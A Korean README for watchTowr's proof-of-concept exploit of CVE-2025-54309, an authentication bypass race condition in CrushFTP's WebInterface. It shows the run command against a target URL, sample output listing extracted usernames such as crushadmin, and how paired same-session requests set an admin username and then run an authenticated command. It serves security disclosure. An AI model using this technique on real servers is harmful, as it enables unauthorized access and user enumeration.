
CVE-2025-54309에 대한 개념 증명 익스플로잇으로, CrushFTP WebInterface의 경쟁 조건을 통한 인증 우회로 사용자 열거를 시연합니다.
CrushFTP 인증 우회 개념 증명(PoC)
기술 세부 사항은 블로그 게시물을 참조하세요.
python3 watchTowr-vs-CrushFTP-CVE-2025-54309.py http://127.0.0.1:8082
[*] Generated new c2f value: 6XDQ
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-CrushFTP-CVE-2025-54309.py
(*) CrushFTP Authentication Bypass Race Condition PoC
- Sonny , watchTowr ([email protected])
CVEs: [CVE-2025-54309]
[*] CRUSHFTP RACE CONDITION POC
[*] TARGET: http://127.0.0.1:8082
[*] ENDPOINT: CrushFTP WebInterface getUserList
[*] ATTACK: 5000 requests with new c2f every 50 requests
============================================================
Starting race with 5000 request pairs...
============================================================
[*] Generated new c2f value: qUwd
[*] NEW SESSION: c2f=qUwd
[*] EXFILTRATED 3 USERS: crushadmin, default, TempAccount
[*] VULNERABLE! RACE CONDITION POSSIBLE!
이 스크립트는 CrushFTP 인터페이스 대상 CVE-2025-54309의 개념 증명입니다. 동일한 세션 식별자를 공유하는 일련의 경쟁(race) 요청을 생성하여, 하나의 요청은 username 속성을 "crushadmin"으로 설정하고 다른 하나의 요청은 이 사용자로 인증된 명령을 실행함으로써, 이 PoC에서는 사용자 이름 목록을 추출할 수 있습니다. 자세한 내용은 블로그 게시물에 설명되어 있습니다.
자세한 내용은 CrushFTP 권고를 참조하세요.
최신 보안 연구를 보려면 watchTowr Labs 팀을 팔로우하세요.